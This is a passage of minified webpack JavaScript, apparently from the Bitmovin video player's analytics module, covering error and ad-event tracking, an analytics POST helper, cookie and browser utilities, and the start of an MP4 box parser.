t=u([],this._queue,!0),n=t.shift();null!=n;)this.removeFromQueue(n),this.send(n),n=t.shift()},n.prototype.clear=function(){this._queue.splice(0,this._queue.length)},n.prototype.removeFromQueue=function(n){var t=this._queue.findIndex(function(t){return t===n});t>=0&&this._queue.splice(t,1)},n.MAX_URL_LENGTH=450,n.MAX_STRING_LENGTH=400,n}();t.ErrorDetailBackend=s},3909:function(n,t,i){"use strict";var r,f=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.ErrorDetailTracking=void 0;var o=i(2764),u=i(6767),s=i(1700),h=function(n){function t(t,i,r,f){var h=n.call(this)||this;return h.settingsProvider=t,h.backend=i,h.subscribables=r,h.httpRequestTracking=f,h.errorIndex=0,h.onErrorHandler=function(n){var t,i,r;try{if(!h.isEnabled)return;var f=null===(t=h.httpRequestTracking)||void 0===t?void 0:t.httpRequests,c=null==f?void 0:e([],f,!0),l=h.errorIndex;h.errorIndex++;r={platform:"web",licenseKey:h.settingsProvider.licenseKey,domain:h.settingsProvider.domain,impressionId:h.settingsProvider.impressionId,analyticsVersion:o.VERSION,errorId:l,timestamp:s.getCurrentTimestamp(),code:n.code,message:n.message,data:null!==(i=n.errorData)&&void 0!==i?i:{additionalData:void 0,exceptionMessage:void 0,exceptionStacktrace:void 0},httpRequests:c};u.logger.log("ErrorDetailTracking.onError: ".concat(JSON.stringify(r)));h.backend.send(r)}catch(n){u.logger.error("ErrorDetailTracking.onError: Error in handler",n)}},r.forEach(function(n){return n.subscribe(h.onErrorHandler)}),h}return f(t,n),t.prototype.reset=function(){var n;null===(n=this.httpRequestTracking)||void 0===n||n.reset();this.errorIndex=0},t.prototype.enabled=function(){this.backend.enabled=!0;this.backend.flush()},t.prototype.disabled=function(){var n,t=this;this.errorIndex=0;null===(n=this.httpRequestTracking)||void 0===n||n.disable();this.backend.clear();this.subscribables.forEach(function(n){return n.unsubscribe(t.onErrorHandler)})},t.prototype.configured=function(n,t){var i,r,u=Math.max(null!==(i=null==t?void 0:t.numberOfHttpRequests)&&void 0!==i?i:0,0);null===(r=this.httpRequestTracking)||void 0===r||r.configure(u);this.backend.limitHttpRequestsOfQueuedErrorDetails(u)},t.prototype.extractConfig=function(n){return n.errorDetails},t}(i(5086).Feature);t.ErrorDetailTracking=h},7999:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.HttpRequestTracking=void 0;var r=i(6767),u=i(127),f=function(){function n(t){var i=this;this.subscribables=t;this._maxRequests=n.DEFAULT_MAX_REQUESTS;this._httpRequestQueue=new u.Queue;this.onDownloadFinishedHandler=function(n){try{i.addRequest(n.httpRequest)}catch(n){r.logger.error("HttpRequestTracking.onDownloadFinished: Error in handler",n)}};t.forEach(function(n){return n.subscribe(i.onDownloadFinishedHandler)})}return Object.defineProperty(n.prototype,"maxRequests",{get:function(){return this._maxRequests},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"httpRequests",{get:function(){return this._httpRequestQueue.items},enumerable:!1,configurable:!0}),n.prototype.configure=function(n){this._maxRequests=n;this._httpRequestQueue.limit(n)},n.prototype.disable=function(){var n=this;this.subscribables.forEach(function(t){return t.unsubscribe(n.onDownloadFinishedHandler)});this._httpRequestQueue.clear()},n.prototype.reset=function(){this._httpRequestQueue.clear()},n.prototype.addRequest=function(n){this._httpRequestQueue.offer(n);this._httpRequestQueue.limit(this._maxRequests)},n.DEFAULT_MAX_REQUESTS=10,n}();t.HttpRequestTracking=f},8105:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.HttpRequestType=void 0,function(n){n.DRM_LICENSE_WIDEVINE="DRM_LICENSE_WIDEVINE";n.DRM_OTHER="DRM_OTHER";n.MEDIA_THUMBNAILS="MEDIA_THUMBNAILS";n.MEDIA_VIDEO="MEDIA_VIDEO";n.MEDIA_AUDIO="MEDIA_AUDIO";n.MEDIA_PROGRESSIVE="MEDIA_PROGRESSIVE";n.MEDIA_SUBTITLES="MEDIA_SUBTITLES";n.MANIFEST_DASH="MANIFEST_DASH";n.MANIFEST_HLS="MANIFEST_HLS";n.MANIFEST_HLS_MASTER="MANIFEST_HLS_MASTER";n.MANIFEST_HLS_VARIANT="DRM_LICENSMANIFEST_HLS_VARIANTE_WIDEVINE";n.MANIFEST_SMOOTH="MANIFEST_SMOOTH";n.MANIFEST="MANIFEST";n.KEY_HLS_AES="KEY_HLS_AES";n.UNKNOWN="UNKNOWN";n.TIME_SYNC="TIME_SYNC";n.DRM_CERTIFICATE_FAIRPLAY="DRM_CERTIFICATE_FAIRPLAY";n.DRM_LICENSE_CLEARKEY="DRM_LICENSE_CLEARKEY";n.DRM_LICENSE_PRIMETIME="DRM_LICENSE_PRIMETIME";n.DRM_LICENSE_FAIRPLAY="DRM_LICENSE_FAIRPLAY";n.DRM_LICENSE_PLAYREADY="DRM_LICENSE_PLAYREADY";n.MANIFEST_ADS="MANIFEST_ADS"}(i||(t.HttpRequestType=i={}))},7256:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.PlayerModule=void 0;var r=i(8760);t.PlayerModule={name:"analytics",module:{Analytics:r.Bitmovin8Adapter},hooks:{setup:function(n,t){var i=t.getConfig(),u=!i,f=!1===(null==i?void 0:i.analytics),r;return u||f?Promise.resolve():(r=new n.Analytics(t),Promise.resolve(r))}}}},5464:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AdAnalyticsSample=void 0;var r=i(1700);t.AdAnalyticsSample=function(n){this.platform="web";n&&(this.videoImpressionId=n.impressionId,this.userAgent=n.userAgent,this.language=n.language,this.cdnProvider=n.cdnProvider,r.transferCustomDataFields(n,this),this.customUserId=n.customUserId,this.domain=n.domain,this.experimentName=n.experimentName,this.key=n.key,this.path=n.path,this.player=n.player,this.playerKey=n.playerKey,this.playerTech=n.playerTech,this.screenHeight=n.screenHeight,this.screenWidth=n.screenWidth,this.version=n.version,this.size=n.size,this.userId=n.userId,this.videoId=n.videoId,this.videoTitle=n.videoTitle,this.videoWindowHeight=n.videoWindowHeight,this.videoWindowWidth=n.videoWindowWidth,this.audioCodec=n.audioCodec,this.videoCodec=n.videoCodec)}},1834:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AdBreakSample=void 0;var r=i(1700);t.AdBreakSample=function(n,t){var i,u,f,o,e;this.adFallbackIndex=0;t&&(this.manifestDownloadTime=r.calculateTime(t.downloadTiming.downloadTime));n&&(this.adReplaceContentDuration=r.calculateTimeWithUndefined(n.replaceContentDuration),this.adFallbackIndex=(n.currentFallbackIndex||-1)+1);i=n;i&&("pre"===i.position||"post"===i.position?this.adPosition=i.position:(this.adPosition="mid",this.adOffset=i.position),this.adPreloadOffset=r.calculateTimeWithUndefined(i.preloadOffset));u=n;u&&(this.adIsPersistent=u.persistent,f=u.tag,(this.adFallbackIndex>0&&u.fallbackTags&&u.fallbackTags.length>=this.adFallbackIndex&&(f=u.fallbackTags[this.adFallbackIndex-1]),f&&(this.adTagType=f.type,this.adTagUrl=f.url),this.adTagUrl)&&(o=r.getHostnameAndPathFromUrl(this.adTagUrl),this.adTagServer=o.hostname,this.adTagPath=o.path));e=n;e&&(this.adScheduleTime=r.calculateTimeWithUndefined(e.scheduleTime),this.adIdPlayer=e.id)}},5014:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AdSample=void 0;var r=i(1700),u=function(){function n(t){var f,i,u;(this.clicked=0,this.closed=0,this.completed=0,this.midpoint=0,this.quartile1=0,this.quartile3=0,this.skipped=0,this.started=0,t)&&(this.adClickthroughUrl=t.clickThroughUrl,this.adId=t.id,this.mediaUrl=t.mediaFileUrl,f=r.getHostnameAndPathFromUrl(this.mediaUrl||""),this.mediaPath=f.path,this.mediaServer=f.hostname,this.isLinear=t.isLinear,this.adPlaybackHeight=t.height,this.adPlaybackWidth=t.width,t.data&&(this.videoBitrate=void 0===t.data.bitrate?void 0:1e3*t.data.bitrate,this.streamFormat=t.data.mimeType),i=t.data,i&&(i.adSystem&&(this.adSystem=i.adSystem.name),i.advertiser&&(this.advertiserName=i.advertiser.name),this.apiFramework=i.apiFramework,i.creative&&(this.creativeAdId=i.creative.adId,this.creativeId=i.creative.id,i.creative.universalAdId&&(this.universalAdIdRegistry=i.creative.universalAdId.idRegistry,this.universalAdIdValue=i.creative.universalAdId.value)),this.adDescription=i.adDescription,this.minSuggestedDuration=r.calculateTimeWithUndefined(i.minSuggestedDuration),i.survey&&(this.surveyUrl=i.survey.uri),this.adTitle=i.adTitle,this.wrapperAdsCount=i.wrapperAdIds?i.wrapperAdIds.length:0));u=t;u&&(this.adSkippableAfter=n.parseSkipAfter(u.skippableAfter),this.adSkippable=u.skippable||(void 0===this.adSkippableAfter?void 0:this.adSkippableAfter>=0),this.adDuration=r.calculateTime(u.duration))}return n.parseSkipAfter=function(n){if(void 0!==n)return-1===n?n:r.calculateTime(n)},n}();t.AdSample=u},1942:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.customDataFieldCount=t.customDataValuesKeys=void 0;t.customDataValuesKeys=["customData1","customData2","customData3","customData4","customData5","customData6","customData7","customData8","customData9","customData10","customData11","customData12","customData13","customData14","customData15","customData16","customData17","customData18","customData19","customData20","customData21","customData22","customData23","customData24","customData25","customData26","customData27","customData28","customData29","customData30","experimentName"];t.customDataFieldCount=t.customDataValuesKeys.filter(function(n){return n.match("customData\\d+")}).length},4449:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.LicensingResult=void 0,function(n){n.Granted="granted";n.Denied="denied";n.Skip="skip"}(i||(t.LicensingResult=i={}))},2033:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.normalizeVideoDuration=void 0;t.normalizeVideoDuration=function(n){return null==n||Number.isNaN(n)||n===1/0?0:n}},3318:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.defaultStateMachineCallbacks=void 0;t.defaultStateMachineCallbacks={setup:function(){},startup:function(){},playing:function(){},heartbeat:function(){},qualitychange:function(){},qualitychange_pause:function(){},qualitychange_rebuffering:function(){},videoChange:function(){},audioChange:function(){},audiotrack_changing:function(){},pause:function(){},paused_seeking:function(){},end_play_seeking:function(){},rebuffering:function(){},error:function(){},end:function(){},unload:function(){},ad:function(){},mute:function(){},unMute:function(){},subtitle_changing:function(){},setVideoTimeEndFromEvent:function(){},setVideoTimeStartFromEvent:function(){},videoStartFailed:function(){},source_changing:function(){},startCasting:function(){},casting:function(){},manualSourceChange:function(){},initialSourceChange:function(){},muting_ready:function(){},customdatachange:function(){},release:function(){},playlistTransition:function(){}}},9065:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.isDifferentSubtitleInfo=void 0;t.isDifferentSubtitleInfo=function(n,t){return!(null==n&&null==t||null!=n&&null!=t&&n.enabled===t.enabled&&n.language===t.language)}},1632:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AnalyticsCall=void 0;var u=i(6332),r=i(1700),f=function(){function n(n){this.analyticsServerUrl=r.joinUrls(n,"analytics");this.adAnalyticsServerUrl=r.joinUrls(n,"analytics/a")}return n.prototype.sendRequest=function(n,t){u.post(this.analyticsServerUrl,n,t)},n.prototype.sendUnloadRequest=function(n){var t=this;this.trySendBeacon(function(n){return t.sendRequestSynchronous(n,r.noOp)},this.getAnalyticsServerUrl(),n)},n.prototype.trySendBeacon=function(n,t,i){void 0===navigator.sendBeacon?n(i):navigator.sendBeacon(t,JSON.stringify(i))||n(i)},n.prototype.sendRequestSynchronous=function(n,t){u.post(this.analyticsServerUrl,n,t,!1)},n.prototype.sendAdRequest=function(n){var t=this;this.trySendBeacon(function(n){return u.post(t.getAdAnalyticsServerUrl(),n,r.noOp)},this.getAdAnalyticsServerUrl(),n)},n.prototype.getAnalyticsServerUrl=function(){return this.analyticsServerUrl},n.prototype.getAdAnalyticsServerUrl=function(){return this.adAnalyticsServerUrl},n}();t.AnalyticsCall=f},7444:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.getSourceInfoFromBitmovinSourceConfig=void 0;t.getSourceInfoFromBitmovinSourceConfig=function(n,t){if(!n)return{progBitrate:void 0,progUrl:void 0};if("string"==typeof n)return{progBitrate:0,progUrl:n};if(Array.isArray(n)&&n.length>0){var i=t.getPlaybackVideoData(),r=0;return null==i||isNaN(+i.id)||(r=+i.id),{progBitrate:n[r].bitrate||0,progUrl:n[r].url}}return"object"!=typeof n||Array.isArray(n)?{progBitrate:void 0,progUrl:void 0}:{progBitrate:n.bitrate||0,progUrl:n.url}}},5216:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.CodecHelper=void 0;var i={avc:['video/mp4; codecs="avc1.42000a"'],vp9:['video/mp4; codecs="vp09.00.50.08"'],av1:['video/mp4; codecs="av01.0.08M.08"'],hevc:['video/mp4; codecs="hev1.1.6.L93.B0"']},r=function(){function n(){}return Object.defineProperty(n,"supportedVideoFormats",{get:function(){var n=this;if("MediaSource"in window)return Object.getOwnPropertyNames(i).filter(function(t){return i[t].some(function(t){return n.isCodecSupported(t)})})},enumerable:!1,configurable:!0}),n.isCodecSupported=function(n){return"MediaSource"in window&&MediaSource.isTypeSupported(n)},n}();t.CodecHelper=r},9711:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Converter=void 0;var r=i(1700),u=function(){function n(){}return n.bytesToBits=function(n){return 8*n},n.bitsToBytes=function(n){return Math.round(n/8)},n.bytesToKiloBytes=function(n){return r.calculateTime(1e3*n)},n.kiloBytesToMegaBytes=function(n){return 1e3*n},n}();t.Converter=u},6692:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.EventDebugging=void 0;t.EventDebugging=function(n,t,i,r,u){this.event=n;this.from=t;this.to=i;this.timestamp=r;this.eventObject=u}},6332:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.post=void 0;var r=i(6767);t.post=function(n,t,i,u){var f,e,o;void 0===u&&(u=!0);e=!1;window.XDomainRequest&&(e=!0);f=e?new window.XDomainRequest:new XMLHttpRequest;o=function(){if(f.readyState==XMLHttpRequest.DONE){if(f.responseText<=0)return;var n=JSON.parse(f.responseText);i(n)}};e?f.onload=o:f.onreadystatechange=o;try{f.open("POST",n,u);e||f.setRequestHeader("Content-Type","text/plain");f.send(JSON.stringify(t))}catch(n){r.logger.error("Failed to send POST request.",n)}}},5182:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.LicenseCall=void 0;var r=i(6332),u=i(1700);t.LicenseCall=function(n,t,i,f){var e=u.joinUrls(f,"/licensing"),o={analyticsVersion:i,domain:t,key:n};return new Promise(function(n){r.post(e,o,function(t){n(t)})})}},6767:function(n,t){"use strict";var i=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))},r;Object.defineProperty(t,"__esModule",{value:!0});t.logger=t.padRight=void 0;r=function(){function n(n){void 0===n&&(n=!1);this.showLogs=n}return n.prototype.setLogging=function(n){this.showLogs=n},n.prototype.isLogging=function(){return this.showLogs},n.prototype.log=function(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];this.showLogs&&console.log(n,i)},n.prototype.logTable=function(n,t){this.showLogs&&console.table(n,t)},n.prototype.errorMessageToUser=function(n){for(var r=[],t=1;t<arguments.length;t++)r[t-1]=arguments[t];console.error.apply(console,i([n],r,!1))},n.prototype.error=function(n){for(var r=[],t=1;t<arguments.length;t++)r[t-1]=arguments[t];this.showLogs&&console.error.apply(console,i([n],r,!1))},n.prototype.warning=function(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];this.showLogs&&console.warn(n)},n}();t.padRight=function(n,t){return(n+new Array(t).join(" ")).slice(0,t)};t.logger=new r},127:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Queue=void 0;var i=function(){function n(){this._items=[]}return Object.defineProperty(n.prototype,"items",{get:function(){return this._items},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"length",{get:function(){return this._items.length},enumerable:!1,configurable:!0}),n.prototype.offer=function(n){this._items.push(n)},n.prototype.poll=function(){return this._items.shift()},n.prototype.clear=function(){this._items.splice(0)},n.prototype.limit=function(n){for(;this._items.length>n;)this.poll()},n}();t.Queue=i},4960:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.ANALYTICS_MIN_SEEK_DIFFERENCE_THRESHOLD=t.ANALYTICS_REBUFFER_TIMEOUT=t.ANALYTICS_QUALITY_CHANGE_COUNT_RESET_INTERVAL=t.ANALYTICS_QUALITY_CHANGE_COUNT_THRESHOLD=t.ANALYTICS_VIDEOSTART_TIMEOUT=t.ANALYTICS_LICENSECALL_TIMEOUT=t.ANALYTICS_BACKEND_BASE_URL=t.MESSAGE_NAMESPACE=void 0;t.MESSAGE_NAMESPACE="urn:x-cast:com.bitmovin.analytics.cast";t.ANALYTICS_BACKEND_BASE_URL="https://analytics-ingress-global.bitmovin.com";t.ANALYTICS_LICENSECALL_TIMEOUT=6e4;t.ANALYTICS_VIDEOSTART_TIMEOUT=6e4;t.ANALYTICS_QUALITY_CHANGE_COUNT_THRESHOLD=50;t.ANALYTICS_QUALITY_CHANGE_COUNT_RESET_INTERVAL=36e5;t.ANALYTICS_REBUFFER_TIMEOUT=12e4;t.ANALYTICS_MIN_SEEK_DIFFERENCE_THRESHOLD=3},1700:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.joinUrls=t.getURLResourceName=t.getBrowserInfo=t.calculatePercentage=t.getHostnameAndPathFromUrl=t.getPageLoadType=t.getHiddenProp=t.isVideoInFullscreen=t.getDocumentPropWithPrefix=t.transferCustomDataFields=t.getCustomDataString=t.noOp=t.generateUUID=t.getCurrentTimestamp=t.calculateTime=t.calculateTimeWithUndefined=t.sanitizePath=t.isNumber=t.isBoolean=void 0;var r=i(8900),f=i(1942),u=i(9941);t.isBoolean=function(n){return null!=n&&"boolean"==typeof n};t.isNumber=function(n){return null!=n&&"number"==typeof n};t.sanitizePath=function(n){return n.replace(/\/$/g,"")};t.calculateTimeWithUndefined=function(n){return void 0===n?n:(n*=1e3,Math.round(n))};t.calculateTime=function(n){return n*=1e3,Math.round(n)};t.getCurrentTimestamp=function(){return Date.now()};t.generateUUID=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=16*Math.random()|0;return("x"===n?t:3&t|8).toString(16)})};t.noOp=function(){};t.getCustomDataString=function(n){return"object"==typeof n?JSON.stringify(n):"function"==typeof n?t.getCustomDataString(n()):void 0===n?n:"string"!=typeof n?String(n):n};t.transferCustomDataFields=function(n,i){for(var u,r=1;r<=f.customDataFieldCount;r++)u="customData".concat(r),i[u]=t.getCustomDataString(n[u])};t.getDocumentPropWithPrefix=function(n){var i;if(n in document)return n;for(var r=n.charAt(0).toUpperCase()+n.slice(1),t=0,u=["webkit","moz","ms","o"];t<u.length;t++)if(i=u[t],i+r in document)return i+r};t.isVideoInFullscreen=function(){var n=t.getDocumentPropWithPrefix("fullscreenElement");return void 0!==n&&document[n]&&"VIDEO"===document[n].nodeName};t.getHiddenProp=function(){return t.getDocumentPropWithPrefix("hidden")};t.getPageLoadType=function(){var n=t.getHiddenProp();return null!=n&&!0===document[n]?r.PAGE_LOAD_TYPE.BACKGROUND:r.PAGE_LOAD_TYPE.FOREGROUND};t.getHostnameAndPathFromUrl=function(n){var t=document.createElement("a");return t.href=n,{hostname:t.hostname,path:t.pathname}};t.calculatePercentage=function(n,t){if(void 0!==t&&0!==t)return Math.round((n||0)/t*100)};t.getBrowserInfo=function(){var t,i=navigator.userAgent,n=i.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i)||[];return/trident/i.test(n[1])?{name:"IE",version:(t=/\brv[ :]+(\d+)/g.exec(i)||[])[1]||""}:"Chrome"===n[1]&&null!=(t=i.match(/\b(OPR|Edge)\/(\d+)/))?{name:t[1].replace("OPR","Opera"),version:t[2]}:(n=n[2]?[n[1],n[2]]:[navigator.appName,navigator.appVersion,"-?"],null!=(t=i.match(/version\/(\d+)/i))&&n.splice(1,1,t[1]),{name:n[0],version:n[1]})};t.getURLResourceName=function(n){return 0===n.length?"":n.split("/").pop()||""};t.joinUrls=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return t.reduce(function(n,t){return(u.endsWith(n,"/")&&void 0!==t?n.substr(0,n.length-1):n)+"/"+(u.startsWith(t,"/")?t.substr(1):t)})}},3871:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.ViewportTracker=void 0;var r=i(6767),u=i(1700),f=function(){function n(n,t,i){var f,e;void 0===i&&(i=1);f=this;this.inViewport=void 0;this.threshold=i;this.onIntersectionChanged=t;this.element=n;try{e={root:null,rootMargin:"0px",threshold:i};this.observer=new IntersectionObserver(function(n,t){return f.handleIntersect(n,t)},e);this.observer.observe(n)}catch(n){r.logger.log("Couldn't create instance of IntersectionObserver. timeInViewport will always be reported as 100%.")}this.hidden=u.getHiddenProp();this.hidden&&(this.visibilityChange=this.hidden.replace("hidden","")+"visibilitychange",document.addEventListener(this.visibilityChange,this.handleVisibilityChange=this.handleVisibilityChange.bind(this),!1))}return n.prototype.isHidden=function(){return this.hidden&&document[this.hidden]},n.prototype.isInViewport=function(){return!this.isHidden()&&(null==this.inViewport||this.inViewport)},n.prototype.dispose=function(){this.observer&&(this.observer.unobserve(this.element),this.observer.disconnect());this.visibilityChange&&document.removeEventListener(this.visibilityChange,this.handleVisibilityChange,!1)},n.prototype.handleVisibilityChange=function(){this.onIntersectionChanged()},n.prototype.handleIntersect=function(n){var t=this;n.forEach(function(n){n.target===t.element&&(t.inViewport=!(n.intersectionRatio<t.threshold))});this.onIntersectionChanged()},n}();t.ViewportTracker=f},3068:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.WindowEventTracker=void 0;var i=function(){function n(){this.trackedObjects=[]}return n.prototype.addEventListener=function(n,t){this.trackedObjects.push({eventName:n,func:t});window.addEventListener(n,t)},n.prototype.release=function(){for(;0!==this.trackedObjects.length;){var n=this.trackedObjects.pop();void 0!==n&&window.removeEventListener(n.eventName,n.func)}},n}();t.WindowEventTracker=i},2679:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.deleteCookie=t.getCookie=t.setCookie=void 0;t.setCookie=function(n,t,i){var r=n+"="+t+"; path=/";(null==i?void 0:i.domain)&&(r+="; domain=".concat(i.domain));(null==i?void 0:i.expires)&&(r+="; expires=".concat(i.expires));(null==i?void 0:i.maxAge)&&(r+="; max-age=".concat(i.maxAge));document.cookie=r};t.getCookie=function(n){for(var r,t,u=n+"=",i=0,f=document.cookie.split(";");i<f.length;i++){for(r=f[i],t=r;" "===t.charAt(0);)t=t.substring(1);if(0===t.indexOf(u))return t.substring(u.length,r.length)}return""};t.deleteCookie=function(n){document.cookie="".concat(n,"=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;")}},9941:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.startsWith=t.endsWith=t.isBlank=t.isEmpty=t.isValidString=void 0;t.isValidString=function(n){return null!=n&&"string"==typeof n};t.isEmpty=function(n){return null==n||0===n.length};t.isBlank=function(n){return t.isEmpty(n)||t.isEmpty(null==n?void 0:n.trim())};t.endsWith=function(n,i){return!(!t.isValidString(n)||!t.isValidString(i))&&(null!=String.prototype.endsWith?n.endsWith(i):n.substring(n.length-i.length)===i)};t.startsWith=function(n,i){return!(!t.isValidString(n)||!t.isValidString(i))&&(null!=String.prototype.startsWith?n.startsWith(i):n.substring(0,i.length)===i)}}},t={},i={};return function(){"use strict";var t=i,a,r,u,f,e,o,s,h,c,v,y,l;Object.defineProperty(t,"__esModule",{value:!0});t.PlayerModule=t.adapters=t.VideojsAdapter=t.ShakaAdapter=t.HlsAdapter=t.HTMLVideoElementAdapter=t.DashjsAdapter=t.CAFv3Adapter=t.Bitmovin8Adapter=t.AmazonIVSAdapter=t.CdnProviders=t.Players=t.version=void 0;a=n(2764);Object.defineProperty(t,"version",{enumerable:!0,get:function(){return a.VERSION}});r=n(4715);Object.defineProperty(t,"AmazonIVSAdapter",{enumerable:!0,get:function(){return r.AmazonIVSAdapter}});u=n(8760);Object.defineProperty(t,"Bitmovin8Adapter",{enumerable:!0,get:function(){return u.Bitmovin8Adapter}});f=n(5531);Object.defineProperty(t,"CAFv3Adapter",{enumerable:!0,get:function(){return f.CAFv3Adapter}});e=n(4921);Object.defineProperty(t,"DashjsAdapter",{enumerable:!0,get:function(){return e.DashjsAdapter}});o=n(2989);Object.defineProperty(t,"HTMLVideoElementAdapter",{enumerable:!0,get:function(){return o.HTMLVideoElementAdapter}});s=n(9894);Object.defineProperty(t,"HlsAdapter",{enumerable:!0,get:function(){return s.HlsAdapter}});h=n(4009);Object.defineProperty(t,"ShakaAdapter",{enumerable:!0,get:function(){return h.ShakaAdapter}});c=n(5553);Object.defineProperty(t,"VideojsAdapter",{enumerable:!0,get:function(){return c.VideojsAdapter}});v=n(1325);Object.defineProperty(t,"CdnProviders",{enumerable:!0,get:function(){return v.CdnProvider}});y=n(6473);Object.defineProperty(t,"Players",{enumerable:!0,get:function(){return y.Player}});l=n(7256);Object.defineProperty(t,"PlayerModule",{enumerable:!0,get:function(){return l.PlayerModule}});t.adapters={AmazonIVSAdapter:r.AmazonIVSAdapter,Bitmovin8Adapter:u.Bitmovin8Adapter,CAFv3Adapter:f.CAFv3Adapter,DashjsAdapter:e.DashjsAdapter,HTMLVideoElementAdapter:o.HTMLVideoElementAdapter,HlsAdapter:s.HlsAdapter,ShakaAdapter:h.ShakaAdapter,VideojsAdapter:c.VideojsAdapter};t.default={PlayerModule:l.PlayerModule}}(),i}()};n.exports=t()},63611:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=i(7370);t.default=r.default.PlayerModule}},function(n){return n(n.s=63611)}])},538:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[270],{10045:function(n,t){function f(n){return void 0===n&&(n=0),{offset:n}}function e(n){return 0===n.length?null:n[0]}function o(n,t){var u=t.indexOf("."),r=[],i,f,e;if(-1===u)for(i=0;i<n.length;i++)n[i].type===t&&r.push(n[i]);else for(f=t.substr(0,u),e=t.substr(u+1),i=0;i<n.length;i++)n[i].type===f&&(r=r.concat(n[i].list(e)));return r}function r(n,i){n.forEach(function(n){t.ISOBox.prototype._boxParsers[n]=i})}function u(n,t){return n._cursor.offset-n._raw.byteOffset+t<=n.size}function s(n,t){return u(n,2)?(t.subsample_count=n._readUint(16),t.subsamples=Array.apply(null,Array(t.subsample_count)).map(function(){return function(n){return u(n,6)?{bytes_of_clear_data:n._readUint(16),bytes_of_encrypted_data:n._readUint(32)}:{bytes_of_clear_data:0,bytes_of_encrypted_data:0}}(n)}),t):i(i({},t),{subsample_count:0,subsamples:[]})}var i=this&&this.__assign||function(){return i=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},i.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.ISOBox=t.ISOFile=t.ISOBoxer=void 0;t.ISOBoxer={parseBuffer:function(n,i){return void 0===i&&(i={}),new t.ISOFile(n,i).parse()}};t.ISOFile=function(n,t){void 0===t&&(t={});this.options=i({},t);this.options.iv_size=t.iv_size||8;n&&(this._raw=new DataView(n));this._cursor=f();this.boxes=[]};t.ISOFile.prototype.fetch=function(n){var t=this.fetchAll(n,!0);return t.length?t[0]:null};t.ISOFile.prototype.fetchAll=function(n,i){var r=[];return t.ISOFile._sweep.call(this,n,r,i),r};t.ISOFile.prototype.parse=function(){for(this._cursor.offset=0,this.boxes=[];this._cursor.offset<this._raw.byteLength;){var n=t.ISOBox.parse(this);if(void 0===n.type)break;this.boxes.push(n)}return this};t.ISOFile._sweep=function(n,i,r){for(var u in this.type&&this.type===n&&i.push(this),this.boxes){if(i.length&&r)return;t.ISOFile._sweep.call(this.boxes[u],n,i,r)}};t.ISOFile.prototype.get=function(n){return e(this.list(n))};t.ISOFile.prototype.list=function(n){return o(this.boxes,n)};t.ISOBox=function(){this._cursor=f()};t.ISOBox.parse=function(n){var i=new t.ISOBox;return i._offset=n._cursor.offset,i._root=n._root?n._root:n,i._raw=n._raw,i._parent=n,i._parseBox(),n._cursor.offset=i._raw.byteOffset+i._raw.byteLength,i};t.ISOBox.prototype.list=function(n){return o(this.boxes||this.entries||[],n)};t.ISOBox.prototype.get=function(n){return e(this.list(n))};t.ISOBox.prototype._readUint64=function(){var 